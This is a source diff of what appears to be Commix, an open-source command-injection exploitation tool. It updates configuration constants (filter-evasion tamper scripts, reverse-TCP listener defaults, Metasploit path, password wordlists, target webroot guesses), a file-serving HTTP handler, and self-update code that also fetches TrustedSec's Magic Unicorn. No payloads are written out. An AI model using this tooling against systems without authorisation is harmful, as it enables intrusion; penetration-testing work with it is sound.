"pya", "pyc", "pyo", "pyv", "qt", "rar", "ras", "raw", "rgb", "rip", "rlc", "rz", "s3m", - "s7z", "scm", "scpt", "sgi", "shar", "sil", "smv", "so", "sub", "swf", "tar", "tbz2", "tga", "tgz", "tif", "tiff", - "tlz", "ts", "ttf", "uvh", "uvi", "uvm", "uvp", "uvs", "uvu", "viv", "vob", "war", "wav", "wax", "wbmp", "wdp", "weba", - "webm", "webp", "whl", "wm", "wma", "wmv", "wmx", "woff", "woff2", "wvx", "xbm", "xif", "xls", "xlsx", "xlt", "xm", "xpi", + "3ds", "3g2", "3gp", "7z", "DS_Store", "a", "aac", "adp", "ai", "aif", "aiff", "apk", "ar", + "asf", "au", "avi", "bak", "bin", "bk", "bmp", "btif", "bz2", "cab", "caf", "cgm", "cmx", "cpio", "cr2", "dat", "deb", + "djvu", "dll", "dmg", "dmp", "dng", "doc", "docx", "dot", "dotx", "dra", "dsk", "dts", "dtshd", "dvb", "dwg", "dxf", + "ear", "ecelp4800", "ecelp7470", "ecelp9600", "egg", "eol", "eot", "epub", "exe", "f4v", "fbs", "fh", "fla", "flac", + "fli", "flv", "fpx", "fst", "fvt", "g3", "gif", "gz", "h261", "h263", "h264", "ico", "ief", "image", "img", "ipa", + "iso", "jar", "jpeg", "jpg", "jpgv", "jpm", "jxr", "ktx", "lvp", "lz", "lzma", "lzo", "m3u", "m4a", "m4v", "mar", + "mdi", "mid", "mj2", "mka", "mkv", "mmr", "mng", "mov", "movie", "mp3", "mp4", "mp4a", "mpeg", "mpg", "mpga", "mxu", + "nef", "npx", "o", "oga", "ogg", "ogv", "otf", "pbm", "pcx", "pdf", "pea", "pgm", "pic", "png", "pnm", "ppm", "pps", + "ppt", "pptx", "ps", "psd", "pya", "pyc", "pyo", "pyv", "qt", "rar", "ras", "raw", "rgb", "rip", "rlc", "rz", "s3m", + "s7z", "scm", "scpt", "sgi", "shar", "sil", "smv", "so", "sub", "swf", "tar", "tbz2", "tga", "tgz", "tif", "tiff", + "tlz", "ts", "ttf", "uvh", "uvi", "uvm", "uvp", "uvs", "uvu", "viv", "vob", "war", "wav", "wax", "wbmp", "wdp", "weba", + "webm", "webp", "whl", "wm", "wma", "wmv", "wmx", "woff", "woff2", "wvx", "xbm", "xif", "xls", "xlsx", "xlt", "xm", "xpi", "xpm", "xwd", "xz", "z", "zip", "zipx" ] TARGET_APPLICATION = "" # Unsupported target application(s) [1] # [1] https://github.com/commixproject/commix/wiki/Target-applications -UNSUPPORTED_TARGET_APPLICATION = [ +UNSUPPORTED_TARGET_APPLICATION = [ "" ] @@ -779,6 +1006,7 @@ def sys_argv_errors(): # JSON Data IS_JSON = False +IS_VALID_JSON = False # Infixes used for automatic recognition of parameters carrying anti-CSRF tokens CSRF_TOKEN_PARAMETER_INFIXES = ("csrf", "xsrf", "token") @@ -793,25 +1021,19 @@ def sys_argv_errors(): BASE64_RECOGNITION_REGEX = r'^[A-Za-z0-9+/]+[=]{0,2}$' # Hex encoded characters recognition -HEX_RECOGNITION_REGEX = r'^[0-9a-f]+' +HEX_RECOGNITION_REGEX = r'^(0[xX])?[0-9a-fA-F]+$' # GET parameters recognition GET_PARAMETERS_REGEX = r"(.*?)\?(.+)" +DIRECTORY_REGEX = r'(?:/[^/]+)+?/\w+\.\w+' + # TFB Decimal TFB_DECIMAL = False # Ignore Error Message IGNORE_ERR_MSG = False -# Default (windows) target host's python interpreter -WIN_PYTHON_INTERPRETER = "python.exe" -USER_DEFINED_PYTHON_DIR = False - -# Default (linux) target host's python interpreter -LINUX_PYTHON_INTERPRETER = "python3" -USER_DEFINED_PYTHON_INTERPRETER = False - # Windows PHP installed directory. WIN_PHP_DIR = "C:\\xampp\\php\\php.exe" USER_DEFINED_PHP_DIR = False @@ -821,11 +1043,11 @@ def sys_argv_errors(): COMMENT = "#" #Delete command -WIN_DEL = "DEL " +WIN_DEL = "powershell.exe Remove-Item " DEL = "rm " # Time-based Variables -FOUND_HOW_LONG = "" +FOUND_EXEC_TIME = "" FOUND_DIFF = "" # Check for PowerShell @@ -834,7 +1056,7 @@ def sys_argv_errors(): # ANSI colors removal ANSI_COLOR_REMOVAL = r'\x1b[^m]*m' -# Default LHOST / LPORT / RHOST setup, +# Default LHOST / LPORT / RHOST setup, # for the reverse TCP connection LHOST = "" LPORT = "" @@ -844,19 +1066,13 @@ def sys_argv_errors(): URIPATH = "/" SRVPORT = 8080 -# Maybe a WAF/IPS/IDS protection. -WAF_ENABLED = False - # Session Handler SESSION_FILE = "" LOAD_SESSION = None -# Retest all techniques -RETEST = False - # Define the default credentials files -USERNAMES_TXT_FILE = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'txt')) + "/" + "usernames.txt" -PASSWORDS_TXT_FILE = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'txt')) + "/" + "passwords_john.txt" +USERNAMES_TXT_FILE = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'txt')) + "/" + "default_usernames.txt" +PASSWORDS_TXT_FILE = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'txt')) + "/" + "default_passwords.txt" REQUIRED_AUTHENTICATION = False @@ -870,13 +1086,18 @@ def sys_argv_errors(): METASPLOIT_PATH = "/usr/share/metasploit-framework/" # Supported HTTP Authentication types -SUPPORTED_HTTP_AUTH_TYPES = [ "basic", "digest" ] - -# HTTP Headers -HTTP_HEADERS = [ "user-agent", "referer", "host" ] +class AUTH_TYPE(object): + BASIC = "basic" + DIGEST = "digest" + BEARER = "bearer" RAW_HTTP_HEADERS = "" +USER_APPLIED_TAMPER = "" + +# Tamper payload modification letters +TAMPER_MODIFICATION_LETTERS = r'([e-zE-Z])' + # Tamper scripts dict TAMPER_SCRIPTS = { "space2ifs": False, @@ -895,11 +1116,65 @@ def sys_argv_errors(): "sleep2timeout": False, "xforwardedfor": False, "dollaratsigns": False, + "printf2echo": False, "uninitializedvariable": False, - "slash2env":False, - "backticks":False + "slash2env": False, + "backticks": False, + "randomcase": False, + "rev": False } +UNIX_NOT_SUPPORTED_TAMPER_SCRIPTS = [ + "caret", + "space2vtab" +] + +WIN_NOT_SUPPORTED_TAMPER_SCRIPTS = [ + "backslashes" + "dollaratsigns", + "backticks", + "nested", + "singlequotes", + "slash2env", + "sleep2usleep", + "printf2echo", + "space2ifs", + "uninitializedvariable", + "randomcase", + "rev" +] + +EVAL_NOT_SUPPORTED_TAMPER_SCRIPTS = [ + "backslashes" + "caret", + "dollaratsigns", + "doublequotes", + "nested", + "singlequotes", + "slash2env", + "printf2echo", + "uninitializedvariable" +] + +TIME_RELATED_TAMPER_SCRIPTS = [ + "sleep2usleep", + "sleep2timeout" +] + +IGNORE_TAMPER_TRANSFORMATION = [ + "IFS", + "if", + "then", + "else", + "fi", + "cmd", + "%0d", + "PATH%%u*", + RANDOM_VAR_GENERATOR, + RANDOM_VAR_GENERATOR + "1", + RANDOM_VAR_GENERATOR + "2" +] + # HTTP Errors BAD_REQUEST = "400" UNAUTHORIZED_ERROR = "401" @@ -912,8 +1187,7 @@ def sys_argv_errors(): BAD_GATEWAY = "502" SERVICE_UNAVAILABLE = "503" GATEWAY_TIMEOUT = "504" - -HTTP_ERROR_CODES = [ BAD_REQUEST, +HTTP_ERROR_CODES = [ BAD_REQUEST, UNAUTHORIZED_ERROR, FORBIDDEN_ERROR, NOT_FOUND_ERROR, @@ -926,8 +1200,16 @@ def sys_argv_errors(): GATEWAY_TIMEOUT ] +HTTP_ERROR_CODES_SUM = [] + # End line -END_LINE = ["\r", "\n", "\r\n"] +class END_LINE: + CR = "\r" + LF = "\n" + CRLF = "\r\n" + +# List of end lines +END_LINES_LIST = [attr for attr in dir(END_LINE) if not callable(getattr(END_LINE, attr)) and not attr.startswith("__")] # Check for updates on start up. CHECK_FOR_UPDATES_ON_START = True @@ -949,8 +1231,8 @@ def sys_argv_errors(): # Check for multi encoded payloads MULTI_ENCODED_PAYLOAD = [] -# Default Timeout -TIMEOUT = 31 +# Default Timeout (Seconds to wait before timeout connection) +TIMEOUT = 30 # Retries when the connection timeouts (Default: 3). MAX_RETRIES = 3 @@ -996,7 +1278,7 @@ def sys_argv_errors(): GOOGLE_ANALYTICS_COOKIE_PREFIX = "__UTM" # Default path for tamper scripts -TAMPER_SCRIPTS_PATH = "src/core/tamper/" +TAMPER_SCRIPTS_PATH = os.path.abspath(os.path.join(os.path.dirname(__file__), '../',"core/tamper/")) + "/" # Default path for settings.py file SETTINGS_PATH = os.path.abspath("src/utils/settings.py") @@ -1004,21 +1286,58 @@ def sys_argv_errors(): # Period after last-update to start nagging (about the old revision). NAGGING_DAYS = 31 -LINUX_DEFAULT_DOC_ROOTS = ["/var/www/", "/var/www/html", "/var/www/htdocs", "/usr/local/apache2/htdocs", "/usr/local/www/data", "/var/apache2/htdocs", "/var/www/nginx-default", "/srv/www/htdocs"] # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout -DEFINED_WEBROOT = False +TARGET_URL = "" +DOC_ROOT_TARGET_MARK = "%TARGET%" +WINDOWS_DEFAULT_DOC_ROOTS = ["C:\\\\Inetpub\\wwwroot\\", "C:\\\\Inetpub\\wwwroot\\", "C:\\\\xampp\\htdocs\\", "C:\\\\wamp\\www\\"] +LINUX_DEFAULT_DOC_ROOTS = ["/var/www/" + DOC_ROOT_TARGET_MARK + "/public_html/", "/var/www/" + DOC_ROOT_TARGET_MARK + "/", "/usr/local/apache2/htdocs/", "/usr/local/www/data/", "/usr/share/nginx/", "/var/apache2/htdocs/", "/var/www/nginx-default/", "/srv/www/htdocs/"] # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout + +DEFINED_WEBROOT = RECHECK_FILE_FOR_EXTRACTION = False # HTTP Headers COOKIE = "Cookie" HOST = "Host" USER_AGENT = "User-Agent" REFERER = "Referer" -HTTP_ACCEPT_HEADER = "Accept" - +ACCEPT = "Accept" +ACCEPT_CHARSET = "Accept-Charset" +ACCEPT_ENCODING = "Accept-Encoding" +ACCEPT_LANGUAGE = "Accept-Language" +AUTHORIZATION = "Authorization" +CACHE_CONTROL = "Cache-Control" +CONNECTION = "Connection" +CONTENT_ENCODING = "Content-Encoding" +CONTENT_LENGTH = "Content-Length" +CONTENT_RANGE = "Content-Range" +CONTENT_TYPE = "Content-Type" +EXPIRES = "Expires" +IF_MODIFIED_SINCE = "If-Modified-Since" +IF_NONE_MATCH = "If-None-Match" +LAST_MODIFIED = "Last-Modified" +LOCATION = "Location" +PRAGMA = "Pragma" +PROXY_AUTHORIZATION = "Proxy-Authorization" +PROXY_CONNECTION = "Proxy-Connection" +RANGE = "Range" +REFERER = "Referer" +REFRESH = "Refresh" # Reference: http://stackoverflow.com/a/283794 +SERVER = "Server" +SET_COOKIE = "Set-Cookie" +TRANSFER_ENCODING = "Transfer-Encoding" +VIA = "Via" +X_POWERED_BY = "X-Powered-By" +X_DATA_ORIGIN = "X-Data-Origin" # HTTP Headers values -HTTP_ACCEPT_HEADER_VALUE = "*/*" +ACCEPT_VALUE = "*/*" + +# HTTP Headers +HTTP_HEADERS = [ USER_AGENT.lower(), REFERER.lower(), HOST.lower() ] +SHELLSHOCK_HTTP_HEADERS =[ COOKIE, USER_AGENT, REFERER ] # Regular expression used for ignoring some special chars -IGNORE_SPECIAL_CHAR_REGEX = "[^/(A-Za-z0-9.:,_]+" +IGNORE_SPECIAL_CHAR_REGEX = "[^/()A-Za-z0-9.:,_+]" +IGNORE_JSON_CHAR_REGEX = r"[{}\"\[\]]" + +FLATTEN_JSON_SEPARATOR = ''.join(random.choice("{}") for _ in range(10)) + "_" PERFORM_CRACKING = False @@ -1027,4 +1346,51 @@ def sys_argv_errors(): # Force usage of given HTTP method (e.g. PUT). HTTP_METHOD = "" -# eof \ No newline at end of file +DECLARED_COOKIES = "" + +MULTI_TARGETS = False + +# Identified Redirect code +REDIRECT_CODE = "" + +# Base64 padding +BASE64_PADDING = "==" + +# Crawling phase +CRAWLING = CRAWLING_PHASE = False +CRAWLED_SKIPPED_URLS_NUM = 0 +CRAWLED_URLS_NUM = 0 +CRAWLED_URLS_INJECTED = [] +SKIP_VULNERABLE_HOST = None + +# Skipped crawled hrefs +HREF_SKIPPED = [] + +# Abort on (problematic) HTTP error code (e.g. 401). +ABORT_CODE = [] + +# Ignore on (problematic) HTTP error code (e.g. 401). +IGNORE_CODE = [] + +# Default crawling depth +DEFAULT_CRAWLING_DEPTH = 1 + +SITEMAP_CHECK = None + +SITEMAP_XML_FILE = "sitemap.xml" + +FOLLOW_REDIRECT = True + +# Set predefined answers (e.g. "quit=N,follow=N"). +ANSWERS = "" + +CHECKING_PARAMETER = "" + +# Run host OS command(s) when injection point is found. +ALERT = False + +USE_PCRE_E_MODIFIER = None +PCRE_MODIFIER = "/e" + + +# eof diff --git a/src/utils/simple_http_server.py b/src/utils/simple_http_server.py index 9622665eaa..e3198934c5 100644 --- a/src/utils/simple_http_server.py +++ b/src/utils/simple_http_server.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -23,6 +23,7 @@ from socket import error as socket_error from src.thirdparty.colorama import Fore, Back, Style, init from src.thirdparty.six.moves import _thread as thread +from src.thirdparty.six.moves import http_client as _http_client from src.thirdparty.six.moves import socketserver as _socketserver from src.thirdparty.six.moves import BaseHTTPServer as _BaseHTTPServer @@ -77,24 +78,26 @@ def grab_ip_addr(): except socket_error as err_msg: if errno.ECONNREFUSED: warn_msg = "Internet seems unreachable." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) else: - print(settings.print_critical_msg(str(err_msg)) + "\n") + settings.print_data_to_stdout(settings.print_critical_msg(str(err_msg))) raise SystemExit() class Handler(_BaseHTTPServer.BaseHTTPRequestHandler): def do_GET(self): try: #Open the static file requested and send it - f = open(self.path) - self.send_response(200) + f = open(self.path) + self.send_response(_http_client.OK) + self.send_header(settings.CONNECTION, "close") self.end_headers() - self.wfile.write(f.read()) - f.close() + self.wfile.write(f.read().encode()) + return + + except Exception: + error_response = settings.APPLICATION + settings.SINGLE_WHITESPACE + settings.VERSION + " (https://commixproject.com)" + self.wfile.write(error_response.encode()) - except IOError: - self.wfile.write(settings.APPLICATION + " " + settings.VERSION + " (https://commixproject.com)") - def log_message(self, format, *args): return diff --git a/src/utils/update.py b/src/utils/update.py index 8b65fc41a6..79b39fb737 100755 --- a/src/utils/update.py +++ b/src/utils/update.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -20,7 +20,8 @@ import subprocess from src.utils import menu from src.utils import settings -from src.utils import requirments +from src.utils import requirements +from src.utils import common from src.thirdparty.six.moves import input as _input from src.thirdparty.colorama import Fore, Back, Style, init @@ -45,78 +46,64 @@ def revision_num(): subprocess.Popen("find . -name \"*.pyc\" -delete", shell=True).wait() # Delete empty directories and files. subprocess.Popen("find . -empty -type d -delete", shell=True).wait() - if settings.VERBOSITY_LEVEL == 0: + if settings.VERBOSITY_LEVEL == 0: stdout, _ = process.communicate() match = re.search(r"(?i)[0-9a-f]{32}", stdout or "") rev_num = match.group(0) if match else None info_msg += " the latest revision '" + str(rev_num[:7]) + "'." - print(settings.SINGLE_WHITESPACE) else: - sys.stdout.write(Fore.MAGENTA + "\n" + stdout + Style.RESET_ALL) + settings.print_data_to_stdout(Fore.MAGENTA + "\n" + stdout + Style.RESET_ALL) end = time.time() - how_long = int(end - start) - info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(how_long)) + "." - print(settings.print_info_msg(info_msg)) + exec_time = int(end - start) + info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(exec_time)) + "." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) except: - print(settings.SINGLE_WHITESPACE) raise SystemExit() """ The commix's updater. """ def updater(): - time.sleep(1) - info_msg = "Checking requirements to update " + info_msg = "Checking requirements to update " info_msg += settings.APPLICATION + " from GitHub repository. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - if menu.options.offline: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if menu.options.offline: err_msg = "You cannot update commix via GitHub without access on the Internet." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() # Check if windows if settings.IS_WINDOWS: - print(settings.SINGLE_WHITESPACE) err_msg = "For updating purposes on Windows platform, it's recommended " err_msg += "to use a GitHub client for Windows (http://windows.github.com/)." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() else: try: - requirment = "git" + requirement = "git" # Check if 'git' is installed. - requirments.do_check(requirment) - if requirments.do_check(requirment) == True : + requirements.do_check(requirement) + if requirements.do_check(requirement) == True : if settings.VERBOSITY_LEVEL != 0: - debug_msg = "commix will try to update itself using '" + requirment + "' command." - print(settings.print_debug_msg(debug_msg)) + debug_msg = "commix will try to update itself using '" + requirement + "' command." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) # Check if ".git" exists! if os.path.isdir("./.git"): - sys.stdout.write(settings.SUCCESS_STATUS + "\n") - sys.stdout.flush() - info_msg = "Updating " + settings.APPLICATION + " to the latest (dev) " - info_msg += "version. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + info_msg = "Updating " + settings.APPLICATION + " to the latest (dev) version. " + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) revision_num() - print(settings.SINGLE_WHITESPACE) os._exit(0) else: - print(settings.SINGLE_WHITESPACE) - err_msg = "The '.git' directory not found. Do it manually: " - err_msg += Style.BRIGHT + "'git clone " + settings.GIT_URL - err_msg += " " + settings.APPLICATION + "' " - print(settings.print_critical_msg(err_msg)) + err_msg = "The '.git' directory not found. Do it manually: " + err_msg += "'git clone " + settings.GIT_URL + " " + settings.APPLICATION + "' " + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() else: - print(settings.SINGLE_WHITESPACE) - err_msg = requirment + " not found." - print(settings.print_critical_msg(err_msg)) + err_msg = requirement + " not found." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() except Exception as err_msg: - print("\n" + settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() """ @@ -130,25 +117,19 @@ def check_for_update(): line = line.rstrip() if "VERSION_NUM = " in line: update_version = line.replace("VERSION_NUM = ", "").replace("\"", "") - break - if (int(settings.VERSION_NUM.replace(".","")[:2]) < int(update_version.replace(".","")[:2])) or \ - ((int(settings.VERSION_NUM.replace(".","")[:2]) == int(update_version.replace(".","")[:2])) and \ - int(settings.VERSION_NUM.replace(".","")[2:]) < int(update_version.replace(".","")[2:])): + break + if (int(settings.VERSION_NUM.replace(".", "")[:2]) < int(update_version.replace(".", "")[:2])) or \ + ((int(settings.VERSION_NUM.replace(".", "")[:2]) == int(update_version.replace(".", "")[:2])) and \ + int(settings.VERSION_NUM.replace(".", "")[2:]) < int(update_version.replace(".", "")[2:])): while True: - if not menu.options.batch: - question_msg = "Do you want to update to the latest version now? [Y/n] > " - do_update = _input(settings.print_question_msg(question_msg)) - else: - do_update = "" - if len(do_update) == 0: - do_update = "Y" + message = "Do you want to update to the latest version now? [Y/n] > " + do_update = common.read_input(message, default="Y", check_batch=True) if do_update in settings.CHOICE_YES: - updater() + updater() elif do_update in settings.CHOICE_NO: break else: - err_msg = "'" + do_update + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(do_update) pass except KeyboardInterrupt: raise @@ -160,52 +141,45 @@ def check_for_update(): """ def unicorn_updater(current_version): APPLICATION_NAME = "TrustedSec's Magic Unicorn" - info_msg = "Checking requirements to update " + info_msg = "Checking requirements to update " info_msg += APPLICATION_NAME + " from GitHub repository. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - if menu.options.offline: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if menu.options.offline: err_msg = "You cannot update TrustedSec's Magic Unicorn " err_msg += "via GitHub without access on the Internet." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() # Check if windows if settings.IS_WINDOWS: - print(settings.SINGLE_WHITESPACE) err_msg = "For updating purposes on Windows platform, it's recommended " err_msg += "to use a GitHub client for Windows (http://windows.github.com/)." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() else: try: - requirment = "git" + requirement = "git" # Check if 'git' is installed. - requirments.do_check(requirment) - if requirments.do_check(requirment) == True : - sys.stdout.write(settings.SUCCESS_STATUS + "\n") - sys.stdout.flush() + requirements.do_check(requirement) + if requirements.do_check(requirement) == True : + settings.print_data_to_stdout(settings.SUCCESS_STATUS) if len(current_version) == 0: unicorn_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '../', 'thirdparty/')) os.chdir(unicorn_path) else: os.chdir("../") subprocess.Popen("rm -rf unicorn", shell=True).wait() - info_msg = "Updating " + APPLICATION_NAME + " to the latest (dev) " + info_msg = "Updating " + APPLICATION_NAME + " to the latest (dev) " info_msg += "version. " subprocess.Popen("git clone https://github.com/trustedsec/unicorn", shell=True).wait() os.chdir("unicorn") - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) revision_num() else: - print(settings.SINGLE_WHITESPACE) - err_msg = requirment + " not found." - print(settings.print_critical_msg(err_msg)) + err_msg = requirement + " not found." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - except Exception as err_msg: - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() """ @@ -213,47 +187,38 @@ def unicorn_updater(current_version): """ def check_unicorn_version(current_version): try: - if len(current_version) != 0: + if len(current_version) != 0: response = _urllib.request.urlopen('https://raw.githubusercontent.com/trustedsec/unicorn/master/unicorn.py', timeout=settings.TIMEOUT) latest_version = response.readlines() for line in latest_version: line = line.rstrip() if "Magic Unicorn Attack Vector v" in line: - latest_version = line.replace("Magic Unicorn Attack Vector v", "").replace(" ", "").replace("-","").replace("\"","").replace(")","") + latest_version = line.replace("Magic Unicorn Attack Vector v", "").replace(settings.SINGLE_WHITESPACE, "").replace("-", "").replace("\"", "").replace(")", "") break - if len(current_version) == 0 or \ - (int(current_version.replace(".","")[:2]) < int(latest_version.replace(".","")[:2])) or \ - ((int(current_version.replace(".","")[:2]) == int(latest_version.replace(".","")[:2])) and \ - int(current_version.replace(".","")[2:]) < int(latest_version.replace(".","")[2:])): - + (int(current_version.replace(".", "")[:2]) < int(latest_version.replace(".", "")[:2])) or \ + ((int(current_version.replace(".", "")[:2]) == int(latest_version.replace(".", "")[:2])) and \ + int(current_version.replace(".", "")[2:]) < int(latest_version.replace(".", "")[2:])): if len(current_version) != 0: warn_msg = "Current version of TrustedSec's Magic Unicorn (" + current_version + ") seems to be out-of-date." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) else: warn_msg = "TrustedSec's Magic Unicorn seems to be not installed." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) while True: - if not menu.options.batch: - if len(current_version) == 0: - action = "install" - else: - action = "update to" - question_msg = "Do you want to " + action + " the latest version now? [Y/n] > " - do_update = _input(settings.print_question_msg(question_msg)) + if len(current_version) == 0: + action = "install" else: - do_update = "" - if len(do_update) == 0: - do_update = "Y" + action = "update to" + message = "Do you want to " + action + " the latest version now? [Y/n] > " + do_update = common.read_input(message, default="Y", check_batch=True) if do_update in settings.CHOICE_YES: unicorn_updater(current_version) elif do_update in settings.CHOICE_NO: break else: - err_msg = "'" + do_update + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(do_update) pass - except KeyboardInterrupt: raise except: diff --git a/src/utils/version.py b/src/utils/version.py index 0dd0a1da39..8d50aade9e 100644 --- a/src/utils/version.py +++ b/src/utils/version.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -20,7 +20,7 @@ Show version number and exit. """ def show_version(): - print(settings.VERSION) + settings.print_data_to_stdout(settings.VERSION) raise SystemExit() """ @@ -28,9 +28,10 @@ def show_version(): """ def python_version(): PYTHON_VERSION = sys.version.split()[0] - if PYTHON_VERSION >= "3" or PYTHON_VERSION < "2.7": - warn_msg = "Python version " - warn_msg += PYTHON_VERSION + " detected. " - warn_msg += "You are advised to use Python version 2.7.x." - print("\n" + settings.print_bold_warning_msg(warn_msg)) - #raise SystemExit() + if PYTHON_VERSION.split(".")[0] != "3": + warn_msg = "Deprecated Python version detected: " + warn_msg += PYTHON_VERSION + ". " + warn_msg += "You are advised to re-run with Python 3." + settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) + +# eof \ No newline at end of file